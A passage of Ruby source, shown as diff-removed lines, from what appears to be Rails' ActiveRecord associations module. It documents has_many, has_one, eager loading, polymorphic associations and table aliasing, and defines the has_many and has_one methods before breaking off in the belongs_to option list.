-    #
-    #   class Account < ActiveRecord::Base
-    #     has_many :people do
-    #       def find_or_create_by_name(name)
-    #         first_name, last_name = name.split(" ", 2)
-    #         find_or_create_by_first_name_and_last_name(first_name, last_name)
-    #       end
-    #     end
-    #   end
-    #
-    #   person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
-    #   person.first_name # => "David"
-    #   person.last_name  # => "Heinemeier Hansson"
-    #
-    # If you need to share the same extensions between many associations, you can use a named extension module. Example:
-    #
-    #   module FindOrCreateByNameExtension
-    #     def find_or_create_by_name(name)
-    #       first_name, last_name = name.split(" ", 2)
-    #       find_or_create_by_first_name_and_last_name(first_name, last_name)
-    #     end
-    #   end
-    #
-    #   class Account < ActiveRecord::Base
-    #     has_many :people, :extend => FindOrCreateByNameExtension
-    #   end
-    #
-    #   class Company < ActiveRecord::Base
-    #     has_many :people, :extend => FindOrCreateByNameExtension
-    #   end
-    #
-    # If you need to use multiple named extension modules, you can specify an array of modules with the <tt>:extend</tt> option.
-    # In the case of name conflicts between methods in the modules, methods in modules later in the array supercede
-    # those earlier in the array. Example:
-    #
-    #   class Account < ActiveRecord::Base
-    #     has_many :people, :extend => [FindOrCreateByNameExtension, FindRecentExtension]
-    #   end
-    #
-    # Some extensions can only be made to work with knowledge of the association proxy's internals.
-    # Extensions can access relevant state using accessors on the association proxy:
-    #
-    # * +proxy_owner+ - Returns the object the association is part of.
-    # * +proxy_reflection+ - Returns the reflection object that describes the association.
-    # * +proxy_target+ - Returns the associated object for +belongs_to+ and +has_one+, or the collection of associated objects for +has_many+ and +has_and_belongs_to_many+.
-    #
-    # === Association Join Models
-    #
-    # Has Many associations can be configured with the <tt>:through</tt> option to use an explicit join model to retrieve the data.  This
-    # operates similarly to a +has_and_belongs_to_many+ association.  The advantage is that you're able to add validations,
-    # callbacks, and extra attributes on the join model.  Consider the following schema:
-    #
-    #   class Author < ActiveRecord::Base
-    #     has_many :authorships
-    #     has_many :books, :through => :authorships
-    #   end
-    #
-    #   class Authorship < ActiveRecord::Base
-    #     belongs_to :author
-    #     belongs_to :book
-    #   end
-    #
-    #   @author = Author.find :first
-    #   @author.authorships.collect { |a| a.book } # selects all books that the author's authorships belong to.
-    #   @author.books                              # selects all books by using the Authorship join model
-    #
-    # You can also go through a +has_many+ association on the join model:
-    #
-    #   class Firm < ActiveRecord::Base
-    #     has_many   :clients
-    #     has_many   :invoices, :through => :clients
-    #   end
-    #
-    #   class Client < ActiveRecord::Base
-    #     belongs_to :firm
-    #     has_many   :invoices
-    #   end
-    #
-    #   class Invoice < ActiveRecord::Base
-    #     belongs_to :client
-    #   end
-    #
-    #   @firm = Firm.find :first
-    #   @firm.clients.collect { |c| c.invoices }.flatten # select all invoices for all clients of the firm
-    #   @firm.invoices                                   # selects all invoices by going through the Client join model.
-    #
-    # Similarly you can go through a +has_one+ association on the join model:
-    #
-    #   class Group < ActiveRecord::Base
-    #     has_many   :users
-    #     has_many   :avatars, :through => :users
-    #   end
-    #
-    #   class User < ActiveRecord::Base
-    #     belongs_to :group
-    #     has_one    :avatar
-    #   end
-    #
-    #   class Avatar < ActiveRecord::Base
-    #     belongs_to :user
-    #   end
-    #
-    #   @group = Group.first
-    #   @group.users.collect { |u| u.avatar }.flatten # select all avatars for all users in the group
-    #   @group.avatars                                # selects all avatars by going through the User join model.
-    #
-    # An important caveat with going through +has_one+ or +has_many+ associations on the join model is that these associations are 
-    # *read-only*.  For example, the following would not work following the previous example:
-    #
-    #   @group.avatars << Avatar.new                # this would work if User belonged_to Avatar rather than the other way around.
-    #   @group.avatars.delete(@group.avatars.last)  # so would this
-    #
-    # === Polymorphic Associations
-    #
-    # Polymorphic associations on models are not restricted on what types of models they can be associated with.  Rather, they
-    # specify an interface that a +has_many+ association must adhere to.
-    #
-    #   class Asset < ActiveRecord::Base
-    #     belongs_to :attachable, :polymorphic => true
-    #   end
-    #
-    #   class Post < ActiveRecord::Base
-    #     has_many :assets, :as => :attachable         # The :as option specifies the polymorphic interface to use.
-    #   end
-    #
-    #   @asset.attachable = @post
-    #
-    # This works by using a type column in addition to a foreign key to specify the associated record.  In the Asset example, you'd need
-    # an +attachable_id+ integer column and an +attachable_type+ string column.
-    #
-    # Using polymorphic associations in combination with single table inheritance (STI) is a little tricky. In order
-    # for the associations to work as expected, ensure that you store the base model for the STI models in the
-    # type column of the polymorphic association. To continue with the asset example above, suppose there are guest posts
-    # and member posts that use the posts table for STI. In this case, there must be a +type+ column in the posts table.
-    #
-    #   class Asset < ActiveRecord::Base
-    #     belongs_to :attachable, :polymorphic => true
-    #
-    #     def attachable_type=(sType)
-    #        super(sType.to_s.classify.constantize.base_class.to_s)
-    #     end
-    #   end
-    #
-    #   class Post < ActiveRecord::Base
-    #     # because we store "Post" in attachable_type now :dependent => :destroy will work
-    #     has_many :assets, :as => :attachable, :dependent => :destroy
-    #   end
-    #
-    #   class GuestPost < Post
-    #   end
-    #
-    #   class MemberPost < Post
-    #   end
-    #
-    # == Caching
-    #
-    # All of the methods are built on a simple caching principle that will keep the result of the last query around unless specifically
-    # instructed not to. The cache is even shared across methods to make it even cheaper to use the macro-added methods without
-    # worrying too much about performance at the first go. Example:
-    #
-    #   project.milestones             # fetches milestones from the database
-    #   project.milestones.size        # uses the milestone cache
-    #   project.milestones.empty?      # uses the milestone cache
-    #   project.milestones(true).size  # fetches milestones from the database
-    #   project.milestones             # uses the milestone cache
-    #
-    # == Eager loading of associations
-    #
-    # Eager loading is a way to find objects of a certain class and a number of named associations. This is
-    # one of the easiest ways of to prevent the dreaded 1+N problem in which fetching 100 posts that each need to display their author
-    # triggers 101 database queries. Through the use of eager loading, the 101 queries can be reduced to 2. Example:
-    #
-    #   class Post < ActiveRecord::Base
-    #     belongs_to :author
-    #     has_many   :comments
-    #   end
-    #
-    # Consider the following loop using the class above:
-    #
-    #   for post in Post.all
-    #     puts "Post:            " + post.title
-    #     puts "Written by:      " + post.author.name
-    #     puts "Last comment on: " + post.comments.first.created_on
-    #   end
-    #
-    # To iterate over these one hundred posts, we'll generate 201 database queries. Let's first just optimize it for retrieving the author:
-    #
-    #   for post in Post.find(:all, :include => :author)
-    #
-    # This references the name of the +belongs_to+ association that also used the <tt>:author</tt> symbol. After loading the posts, find
-    # will collect the +author_id+ from each one and load all the referenced authors with one query. Doing so will cut down the number of queries from 201 to 102.
-    #
-    # We can improve upon the situation further by referencing both associations in the finder with:
-    #
-    #   for post in Post.find(:all, :include => [ :author, :comments ])
-    #
-    # This will load all comments with a single query. This reduces the total number of queries to 3. More generally the number of queries
-    # will be 1 plus the number of associations named (except if some of the associations are polymorphic +belongs_to+ - see below).
-    #
-    # To include a deep hierarchy of associations, use a hash:
-    #
-    #   for post in Post.find(:all, :include => [ :author, { :comments => { :author => :gravatar } } ])
-    #
-    # That'll grab not only all the comments but all their authors and gravatar pictures.  You can mix and match
-    # symbols, arrays and hashes in any combination to describe the associations you want to load.
-    #
-    # All of this power shouldn't fool you into thinking that you can pull out huge amounts of data with no performance penalty just because you've reduced
-    # the number of queries. The database still needs to send all the data to Active Record and it still needs to be processed. So it's no
-    # catch-all for performance problems, but it's a great way to cut down on the number of queries in a situation as the one described above.
-    #
-    # Since only one table is loaded at a time, conditions or orders cannot reference tables other than the main one. If this is the case
-    # Active Record falls back to the previously used LEFT OUTER JOIN based strategy. For example
-    #  
-    #   Post.find(:all, :include => [ :author, :comments ], :conditions => ['comments.approved = ?', true])
-    #
-    # will result in a single SQL query with joins along the lines of: <tt>LEFT OUTER JOIN comments ON comments.post_id = posts.id</tt> and
-    # <tt>LEFT OUTER JOIN authors ON authors.id = posts.author_id</tt>. Note that using conditions like this can have unintended consequences.
-    # In the above example posts with no approved comments are not returned at all, because the conditions apply to the SQL statement as a whole
-    # and not just to the association. You must disambiguate column references for this fallback to happen, for example
-    # <tt>:order => "author.name DESC"</tt> will work but <tt>:order => "name DESC"</tt> will not. 
-    #
-    # If you do want eagerload only some members of an association it is usually more natural to <tt>:include</tt> an association
-    # which has conditions defined on it:
-    #
-    #   class Post < ActiveRecord::Base
-    #     has_many :approved_comments, :class_name => 'Comment', :conditions => ['approved = ?', true]
-    #   end
-    #
-    #   Post.find(:all, :include => :approved_comments)
-    #
-    # will load posts and eager load the +approved_comments+ association, which contains only those comments that have been approved.
-    #
-    # If you eager load an association with a specified <tt>:limit</tt> option, it will be ignored, returning all the associated objects:
-    #
-    #   class Picture < ActiveRecord::Base
-    #     has_many :most_recent_comments, :class_name => 'Comment', :order => 'id DESC', :limit => 10
-    #   end
-    #
-    #   Picture.find(:first, :include => :most_recent_comments).most_recent_comments # => returns all associated comments.
-    #
-    # When eager loaded, conditions are interpolated in the context of the model class, not the model instance.  Conditions are lazily interpolated
-    # before the actual model exists.
-    #
-    # Eager loading is supported with polymorphic associations.
-    #
-    #   class Address < ActiveRecord::Base
-    #     belongs_to :addressable, :polymorphic => true
-    #   end
-    #
-    # A call that tries to eager load the addressable model
-    #
-    #   Address.find(:all, :include => :addressable)
-    #
-    # will execute one query to load the addresses and load the addressables with one query per addressable type. 
-    # For example if all the addressables are either of class Person or Company then a total of 3 queries will be executed. The list of
-    # addressable types to load is determined on the back of the addresses loaded. This is not supported if Active Record has to fallback
-    # to the previous implementation of eager loading and will raise ActiveRecord::EagerLoadPolymorphicError. The reason is that the parent 
-    # model's type is a column value so its corresponding table name cannot be put in the +FROM+/+JOIN+ clauses of that query.
-    #
-    # == Table Aliasing
-    #
-    # Active Record uses table aliasing in the case that a table is referenced multiple times in a join.  If a table is referenced only once,
-    # the standard table name is used.  The second time, the table is aliased as <tt>#{reflection_name}_#{parent_table_name}</tt>.  Indexes are appended
-    # for any more successive uses of the table name.
-    #
-    #   Post.find :all, :joins => :comments
-    #   # => SELECT ... FROM posts INNER JOIN comments ON ...
-    #   Post.find :all, :joins => :special_comments # STI
-    #   # => SELECT ... FROM posts INNER JOIN comments ON ... AND comments.type = 'SpecialComment'
-    #   Post.find :all, :joins => [:comments, :special_comments] # special_comments is the reflection name, posts is the parent table name
-    #   # => SELECT ... FROM posts INNER JOIN comments ON ... INNER JOIN comments special_comments_posts
-    #
-    # Acts as tree example:
-    #
-    #   TreeMixin.find :all, :joins => :children
-    #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
-    #   TreeMixin.find :all, :joins => {:children => :parent}
-    #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
-    #                               INNER JOIN parents_mixins ...
-    #   TreeMixin.find :all, :joins => {:children => {:parent => :children}}
-    #   # => SELECT ... FROM mixins INNER JOIN mixins childrens_mixins ...
-    #                               INNER JOIN parents_mixins ...
-    #                               INNER JOIN mixins childrens_mixins_2
-    #
-    # Has and Belongs to Many join tables use the same idea, but add a <tt>_join</tt> suffix:
-    #
-    #   Post.find :all, :joins => :categories
-    #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
-    #   Post.find :all, :joins => {:categories => :posts}
-    #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
-    #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
-    #   Post.find :all, :joins => {:categories => {:posts => :categories}}
-    #   # => SELECT ... FROM posts INNER JOIN categories_posts ... INNER JOIN categories ...
-    #                              INNER JOIN categories_posts posts_categories_join INNER JOIN posts posts_categories
-    #                              INNER JOIN categories_posts categories_posts_join INNER JOIN categories categories_posts_2
-    #
-    # If you wish to specify your own custom joins using a <tt>:joins</tt> option, those table names will take precedence over the eager associations:
-    #
-    #   Post.find :all, :joins => :comments, :joins => "inner join comments ..."
-    #   # => SELECT ... FROM posts INNER JOIN comments_posts ON ... INNER JOIN comments ...
-    #   Post.find :all, :joins => [:comments, :special_comments], :joins => "inner join comments ..."
-    #   # => SELECT ... FROM posts INNER JOIN comments comments_posts ON ...
-    #                              INNER JOIN comments special_comments_posts ...
-    #                              INNER JOIN comments ...
-    #
-    # Table aliases are automatically truncated according to the maximum length of table identifiers according to the specific database.
-    #
-    # == Modules
-    #
-    # By default, associations will look for objects within the current module scope. Consider:
-    #
-    #   module MyApplication
-    #     module Business
-    #       class Firm < ActiveRecord::Base
-    #          has_many :clients
-    #        end
-    #
-    #       class Client < ActiveRecord::Base; end
-    #     end
-    #   end
-    #
-    # When <tt>Firm#clients</tt> is called, it will in turn call <tt>MyApplication::Business::Client.find_all_by_firm_id(firm.id)</tt>.
-    # If you want to associate with a class in another module scope, this can be done by specifying the complete class name.
-    # Example:
-    #
-    #   module MyApplication
-    #     module Business
-    #       class Firm < ActiveRecord::Base; end
-    #     end
-    #
-    #     module Billing
-    #       class Account < ActiveRecord::Base
-    #         belongs_to :firm, :class_name => "MyApplication::Business::Firm"
-    #       end
-    #     end
-    #   end
-    #
-    # == Type safety with <tt>ActiveRecord::AssociationTypeMismatch</tt>
-    #
-    # If you attempt to assign an object to an association that doesn't match the inferred or specified <tt>:class_name</tt>, you'll
-    # get an <tt>ActiveRecord::AssociationTypeMismatch</tt>.
-    #
-    # == Options
-    #
-    # All of the association macros can be specialized through options. This makes cases more complex than the simple and guessable ones
-    # possible.
-    module ClassMethods
-      # Specifies a one-to-many association. The following methods for retrieval and query of
-      # collections of associated objects will be added:
-      #
-      # [collection(force_reload = false)]
-      #   Returns an array of all the associated objects.
-      #   An empty array is returned if none are found.
-      # [collection<<(object, ...)]
-      #   Adds one or more objects to the collection by setting their foreign keys to the collection's primary key.
-      # [collection.delete(object, ...)]
-      #   Removes one or more objects from the collection by setting their foreign keys to +NULL+.
-      #   Objects will be in addition destroyed if they're associated with <tt>:dependent => :destroy</tt>,
-      #   and deleted if they're associated with <tt>:dependent => :delete_all</tt>.
-      # [collection=objects]
-      #   Replaces the collections content by deleting and adding objects as appropriate.
-      # [collection_singular_ids]
-      #   Returns an array of the associated objects' ids
-      # [collection_singular_ids=ids]
-      #   Replace the collection with the objects identified by the primary keys in +ids+
-      # [collection.clear]
-      #   Removes every object from the collection. This destroys the associated objects if they
-      #   are associated with <tt>:dependent => :destroy</tt>, deletes them directly from the
-      #   database if <tt>:dependent => :delete_all</tt>, otherwise sets their foreign keys to +NULL+.
-      # [collection.empty?]
-      #   Returns +true+ if there are no associated objects.
-      # [collection.size]
-      #   Returns the number of associated objects.
-      # [collection.find(...)]
-      #   Finds an associated object according to the same rules as ActiveRecord::Base.find.
-      # [collection.exists?(...)]
-      #   Checks whether an associated object with the given conditions exists.
-      #   Uses the same rules as ActiveRecord::Base.exists?.
-      # [collection.build(attributes = {}, ...)]
-      #   Returns one or more new objects of the collection type that have been instantiated
-      #   with +attributes+ and linked to this object through a foreign key, but have not yet
-      #   been saved. <b>Note:</b> This only works if an associated object already exists, not if
-      #   it's +nil+!
-      # [collection.create(attributes = {})]
-      #   Returns a new object of the collection type that has been instantiated
-      #   with +attributes+, linked to this object through a foreign key, and that has already
-      #   been saved (if it passed the validation). <b>Note:</b> This only works if an associated
-      #   object already exists, not if it's +nil+!
-      #
-      # (*Note*: +collection+ is replaced with the symbol passed as the first argument, so
-      # <tt>has_many :clients</tt> would add among others <tt>clients.empty?</tt>.)
-      #
-      # === Example
-      #
-      # Example: A Firm class declares <tt>has_many :clients</tt>, which will add:
-      # * <tt>Firm#clients</tt> (similar to <tt>Clients.find :all, :conditions => ["firm_id = ?", id]</tt>)
-      # * <tt>Firm#clients<<</tt>
-      # * <tt>Firm#clients.delete</tt>
-      # * <tt>Firm#clients=</tt>
-      # * <tt>Firm#client_ids</tt>
-      # * <tt>Firm#client_ids=</tt>
-      # * <tt>Firm#clients.clear</tt>
-      # * <tt>Firm#clients.empty?</tt> (similar to <tt>firm.clients.size == 0</tt>)
-      # * <tt>Firm#clients.size</tt> (similar to <tt>Client.count "firm_id = #{id}"</tt>)
-      # * <tt>Firm#clients.find</tt> (similar to <tt>Client.find(id, :conditions => "firm_id = #{id}")</tt>)
-      # * <tt>Firm#clients.exists?(:name => 'ACME')</tt> (similar to <tt>Client.exists?(:name => 'ACME', :firm_id => firm.id)</tt>)
-      # * <tt>Firm#clients.build</tt> (similar to <tt>Client.new("firm_id" => id)</tt>)
-      # * <tt>Firm#clients.create</tt> (similar to <tt>c = Client.new("firm_id" => id); c.save; c</tt>)
-      # The declaration can also include an options hash to specialize the behavior of the association.
-      #
-      # === Supported options
-      # [:class_name]
-      #   Specify the class name of the association. Use it only if that name can't be inferred
-      #   from the association name. So <tt>has_many :products</tt> will by default be linked to the Product class, but
-      #   if the real class name is SpecialProduct, you'll have to specify it with this option.
-      # [:conditions]
-      #   Specify the conditions that the associated objects must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>price > 5 AND name LIKE 'B%'</tt>.  Record creations from the association are scoped if a hash
-      #   is used.  <tt>has_many :posts, :conditions => {:published => true}</tt> will create published posts with <tt>@blog.posts.create</tt>
-      #   or <tt>@blog.posts.build</tt>.
-      # [:order]
-      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
-      #   such as <tt>last_name, first_name DESC</tt>.
-      # [:foreign_key]
-      #   Specify the foreign key used for the association. By default this is guessed to be the name
-      #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_many+ association will use "person_id"
-      #   as the default <tt>:foreign_key</tt>.
-      # [:primary_key]
-      #   Specify the method that returns the primary key used for the association. By default this is +id+.
-      # [:dependent]
-      #   If set to <tt>:destroy</tt> all the associated objects are destroyed
-      #   alongside this object by calling their +destroy+ method.  If set to <tt>:delete_all</tt> all associated
-      #   objects are deleted *without* calling their +destroy+ method.  If set to <tt>:nullify</tt> all associated
-      #   objects' foreign keys are set to +NULL+ *without* calling their +save+ callbacks. *Warning:* This option is ignored when also using
-      #   the <tt>:through</tt> option.
-      # [:finder_sql]
-      #   Specify a complete SQL statement to fetch the association. This is a good way to go for complex
-      #   associations that depend on multiple tables. Note: When this option is used, +find_in_collection+ is _not_ added.
-      # [:counter_sql]
-      #   Specify a complete SQL statement to fetch the size of the association. If <tt>:finder_sql</tt> is
-      #   specified but not <tt>:counter_sql</tt>, <tt>:counter_sql</tt> will be generated by replacing <tt>SELECT ... FROM</tt> with <tt>SELECT COUNT(*) FROM</tt>.
-      # [:extend]
-      #   Specify a named module for extending the proxy. See "Association extensions".
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when the collection is loaded.
-      # [:group]
-      #   An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
-      # [:having]
-      #   Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
-      # [:limit]
-      #   An integer determining the limit on the number of rows that should be returned.
-      # [:offset]
-      #   An integer determining the offset from where the rows should be fetched. So at 5, it would skip the first 4 rows.
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if you, for example, want to do a join
-      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
-      # [:as]
-      #   Specifies a polymorphic interface (See <tt>belongs_to</tt>).
-      # [:through]
-      #   Specifies a Join Model through which to perform the query.  Options for <tt>:class_name</tt> and <tt>:foreign_key</tt>
-      #   are ignored, as the association uses the source reflection. You can only use a <tt>:through</tt> query through a <tt>belongs_to</tt>
-      #   <tt>has_one</tt> or <tt>has_many</tt> association on the join model.
-      # [:source]
-      #   Specifies the source association name used by <tt>has_many :through</tt> queries.  Only use it if the name cannot be
-      #   inferred from the association.  <tt>has_many :subscribers, :through => :subscriptions</tt> will look for either <tt>:subscribers</tt> or
-      #   <tt>:subscriber</tt> on Subscription, unless a <tt>:source</tt> is given.
-      # [:source_type]
-      #   Specifies type of the source association used by <tt>has_many :through</tt> queries where the source
-      #   association is a polymorphic +belongs_to+.
-      # [:uniq]
-      #   If true, duplicates will be omitted from the collection. Useful in conjunction with <tt>:through</tt>.
-      # [:readonly]
-      #   If true, all the associated objects are readonly through the association.
-      # [:validate]
-      #   If false, don't validate the associated objects when saving the parent object. true by default.
-      # [:autosave]
-      #   If true, always save any loaded members and destroy members marked for destruction, when saving the parent object. Off by default.
-      #
-      # Option examples:
-      #   has_many :comments, :order => "posted_on"
-      #   has_many :comments, :include => :author
-      #   has_many :people, :class_name => "Person", :conditions => "deleted = 0", :order => "name"
-      #   has_many :tracks, :order => "position", :dependent => :destroy
-      #   has_many :comments, :dependent => :nullify
-      #   has_many :tags, :as => :taggable
-      #   has_many :reports, :readonly => true
-      #   has_many :subscribers, :through => :subscriptions, :source => :user
-      #   has_many :subscribers, :class_name => "Person", :finder_sql =>
-      #       'SELECT DISTINCT people.* ' +
-      #       'FROM people p, post_subscriptions ps ' +
-      #       'WHERE ps.post_id = #{id} AND ps.person_id = p.id ' +
-      #       'ORDER BY p.first_name'
-      def has_many(association_id, options = {}, &extension)
-        reflection = create_has_many_reflection(association_id, options, &extension)
-        configure_dependency_for_has_many(reflection)
-        add_association_callbacks(reflection.name, reflection.options)
-
-        if options[:through]
-          collection_accessor_methods(reflection, HasManyThroughAssociation)
-        else
-          collection_accessor_methods(reflection, HasManyAssociation)
-        end
-      end
-
-      # Specifies a one-to-one association with another class. This method should only be used
-      # if the other class contains the foreign key. If the current class contains the foreign key,
-      # then you should use +belongs_to+ instead. See also ActiveRecord::Associations::ClassMethods's overview
-      # on when to use has_one and when to use belongs_to.
-      #
-      # The following methods for retrieval and query of a single associated object will be added:
-      #
-      # [association(force_reload = false)]
-      #   Returns the associated object. +nil+ is returned if none is found.
-      # [association=(associate)]
-      #   Assigns the associate object, extracts the primary key, sets it as the foreign key,
-      #   and saves the associate object.
-      # [build_association(attributes = {})]
-      #   Returns a new object of the associated type that has been instantiated
-      #   with +attributes+ and linked to this object through a foreign key, but has not
-      #   yet been saved. <b>Note:</b> This ONLY works if an association already exists.
-      #   It will NOT work if the association is +nil+.
-      # [create_association(attributes = {})]
-      #   Returns a new object of the associated type that has been instantiated
-      #   with +attributes+, linked to this object through a foreign key, and that
-      #   has already been saved (if it passed the validation).
-      #
-      # (+association+ is replaced with the symbol passed as the first argument, so
-      # <tt>has_one :manager</tt> would add among others <tt>manager.nil?</tt>.)
-      #
-      # === Example
-      #
-      # An Account class declares <tt>has_one :beneficiary</tt>, which will add:
-      # * <tt>Account#beneficiary</tt> (similar to <tt>Beneficiary.find(:first, :conditions => "account_id = #{id}")</tt>)
-      # * <tt>Account#beneficiary=(beneficiary)</tt> (similar to <tt>beneficiary.account_id = account.id; beneficiary.save</tt>)
-      # * <tt>Account#build_beneficiary</tt> (similar to <tt>Beneficiary.new("account_id" => id)</tt>)
-      # * <tt>Account#create_beneficiary</tt> (similar to <tt>b = Beneficiary.new("account_id" => id); b.save; b</tt>)
-      #
-      # === Options
-      #
-      # The declaration can also include an options hash to specialize the behavior of the association.
-      #
-      # Options are:
-      # [:class_name]
-      #   Specify the class name of the association. Use it only if that name can't be inferred
-      #   from the association name. So <tt>has_one :manager</tt> will by default be linked to the Manager class, but
-      #   if the real class name is Person, you'll have to specify it with this option.
-      # [:conditions]
-      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>rank = 5</tt>. Record creation from the association is scoped if a hash
-      #   is used. <tt>has_one :account, :conditions => {:enabled => true}</tt> will create an enabled account with <tt>@company.create_account</tt>
-      #   or <tt>@company.build_account</tt>.
-      # [:order]
-      #   Specify the order in which the associated objects are returned as an <tt>ORDER BY</tt> SQL fragment,
-      #   such as <tt>last_name, first_name DESC</tt>.
-      # [:dependent]
-      #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
-      #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. If set to <tt>:nullify</tt>, the associated
-      #   object's foreign key is set to +NULL+. Also, association is assigned.
-      # [:foreign_key]
-      #   Specify the foreign key used for the association. By default this is guessed to be the name
-      #   of this class in lower-case and "_id" suffixed. So a Person class that makes a +has_one+ association will use "person_id"
-      #   as the default <tt>:foreign_key</tt>.
-      # [:primary_key]
-      #   Specify the method that returns the primary key used for the association. By default this is +id+.
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when this object is loaded.
-      # [:as]
-      #   Specifies a polymorphic interface (See <tt>belongs_to</tt>).
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example, you want to do a join
-      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
-      # [:through]
-      #   Specifies a Join Model through which to perform the query.  Options for <tt>:class_name</tt> and <tt>:foreign_key</tt>
-      #   are ignored, as the association uses the source reflection. You can only use a <tt>:through</tt> query through a 
-      #   <tt>has_one</tt> or <tt>belongs_to</tt> association on the join model.
-      # [:source]
-      #   Specifies the source association name used by <tt>has_one :through</tt> queries.  Only use it if the name cannot be
-      #   inferred from the association.  <tt>has_one :favorite, :through => :favorites</tt> will look for a
-      #   <tt>:favorite</tt> on Favorite, unless a <tt>:source</tt> is given.
-      # [:source_type]
-      #   Specifies type of the source association used by <tt>has_one :through</tt> queries where the source
-      #   association is a polymorphic +belongs_to+.
-      # [:readonly]
-      #   If true, the associated object is readonly through the association.
-      # [:validate]
-      #   If false, don't validate the associated object when saving the parent object. +false+ by default.
-      # [:autosave]
-      #   If true, always save the associated object or destroy it if marked for destruction, when saving the parent object. Off by default.
-      #
-      # Option examples:
-      #   has_one :credit_card, :dependent => :destroy  # destroys the associated credit card
-      #   has_one :credit_card, :dependent => :nullify  # updates the associated records foreign key value to NULL rather than destroying it
-      #   has_one :last_comment, :class_name => "Comment", :order => "posted_on"
-      #   has_one :project_manager, :class_name => "Person", :conditions => "role = 'project_manager'"
-      #   has_one :attachment, :as => :attachable
-      #   has_one :boss, :readonly => :true
-      #   has_one :club, :through => :membership
-      #   has_one :primary_address, :through => :addressables, :conditions => ["addressable.primary = ?", true], :source => :addressable
-      def has_one(association_id, options = {})
-        if options[:through]
-          reflection = create_has_one_through_reflection(association_id, options)
-          association_accessor_methods(reflection, ActiveRecord::Associations::HasOneThroughAssociation)
-        else
-          reflection = create_has_one_reflection(association_id, options)
-          association_accessor_methods(reflection, HasOneAssociation)
-          association_constructor_method(:build,  reflection, HasOneAssociation)
-          association_constructor_method(:create, reflection, HasOneAssociation)
-          configure_dependency_for_has_one(reflection)
-        end
-      end
-
-      # Specifies a one-to-one association with another class. This method should only be used
-      # if this class contains the foreign key. If the other class contains the foreign key,
-      # then you should use +has_one+ instead. See also ActiveRecord::Associations::ClassMethods's overview
-      # on when to use +has_one+ and when to use +belongs_to+.
-      #
-      # Methods will be added for retrieval and query for a single associated object, for which
-      # this object holds an id:
-      #
-      # [association(force_reload = false)]
-      #   Returns the associated object. +nil+ is returned if none is found.
-      # [association=(associate)]
-      #   Assigns the associate object, extracts the primary key, and sets it as the foreign key.
-      # [build_association(attributes = {})]
-      #   Returns a new object of the associated type that has been instantiated
-      #   with +attributes+ and linked to this object through a foreign key, but has not yet been saved.
-      # [create_association(attributes = {})]
-      #   Returns a new object of the associated type that has been instantiated
-      #   with +attributes+, linked to this object through a foreign key, and that
-      #   has already been saved (if it passed the validation).
-      #
-      # (+association+ is replaced with the symbol passed as the first argument, so
-      # <tt>belongs_to :author</tt> would add among others <tt>author.nil?</tt>.)
-      #
-      # === Example
-      #
-      # A Post class declares <tt>belongs_to :author</tt>, which will add:
-      # * <tt>Post#author</tt> (similar to <tt>Author.find(author_id)</tt>)
-      # * <tt>Post#author=(author)</tt> (similar to <tt>post.author_id = author.id</tt>)
-      # * <tt>Post#author?</tt> (similar to <tt>post.author == some_author</tt>)
-      # * <tt>Post#build_author</tt> (similar to <tt>post.author = Author.new</tt>)
-      # * <tt>Post#create_author</tt> (similar to <tt>post.author = Author.new; post.author.save; post.author</tt>)
-      # The declaration can also include an options hash to specialize the behavior of the association.
-      #
-      # === Options
-      #
-      # [:class_name]
-      #   Specify the class name of the association. Use it only if that name can't be inferred
-      #   from the association name. So <tt>has_one :author</tt> will by default be linked to the Author class, but
-      #   if the real class name is Person, you'll have to specify it with this option.
-      # [:conditions]
-      #   Specify the conditions that the associated object must meet in order to be included as a +WHERE+
-      #   SQL fragment, such as <tt>authorized = 1</tt>.
-      # [:select]
-      #   By default, this is <tt>*</tt> as in <tt>SELECT * FROM</tt>, but can be changed if, for example, you want to do a join
-      #   but not include the joined columns. Do not forget to include the primary and foreign keys, otherwise it will raise an error.
-      # [:foreign_key]
-      #   Specify the foreign key used for the association. By default this is guessed to be the name
-      #   of the association with an "_id" suffix. So a class that defines a <tt>belongs_to :person</tt> association will use
-      #   "person_id" as the default <tt>:foreign_key</tt>. Similarly, <tt>belongs_to :favorite_person, :class_name => "Person"</tt>
-      #   will use a foreign key of "favorite_person_id".
-      # [:primary_key]
-      #   Specify the method that returns the primary key of associated object used for the association. By default this is id.
-      # [:dependent]
-      #   If set to <tt>:destroy</tt>, the associated object is destroyed when this object is. If set to
-      #   <tt>:delete</tt>, the associated object is deleted *without* calling its destroy method. This option should not be specified when
-      #   <tt>belongs_to</tt> is used in conjunction with a <tt>has_many</tt> relationship on another class because of the potential to leave
-      #   orphaned records behind.
-      # [:counter_cache]
-      #   Caches the number of belonging objects on the associate class through the use of +increment_counter+
-      #   and +decrement_counter+. The counter cache is incremented when an object of this class is created and decremented when it's
-      #   destroyed. This requires that a column named <tt>#{table_name}_count</tt> (such as +comments_count+ for a belonging Comment class)
-      #   is used on the associate class (such as a Post class). You can also specify a custom counter cache column by providing
-      #   a column name instead of a +true+/+false+ value to this option (e.g., <tt>:counter_cache => :my_custom_counter</tt>.)
-      #   Note: Specifying a counter cache will add it to that model's list of readonly attributes using +attr_readonly+.
-      # [:include]
-      #   Specify second-order associations that should be eager loaded when this object is loaded.
-      # [:polymorphic]
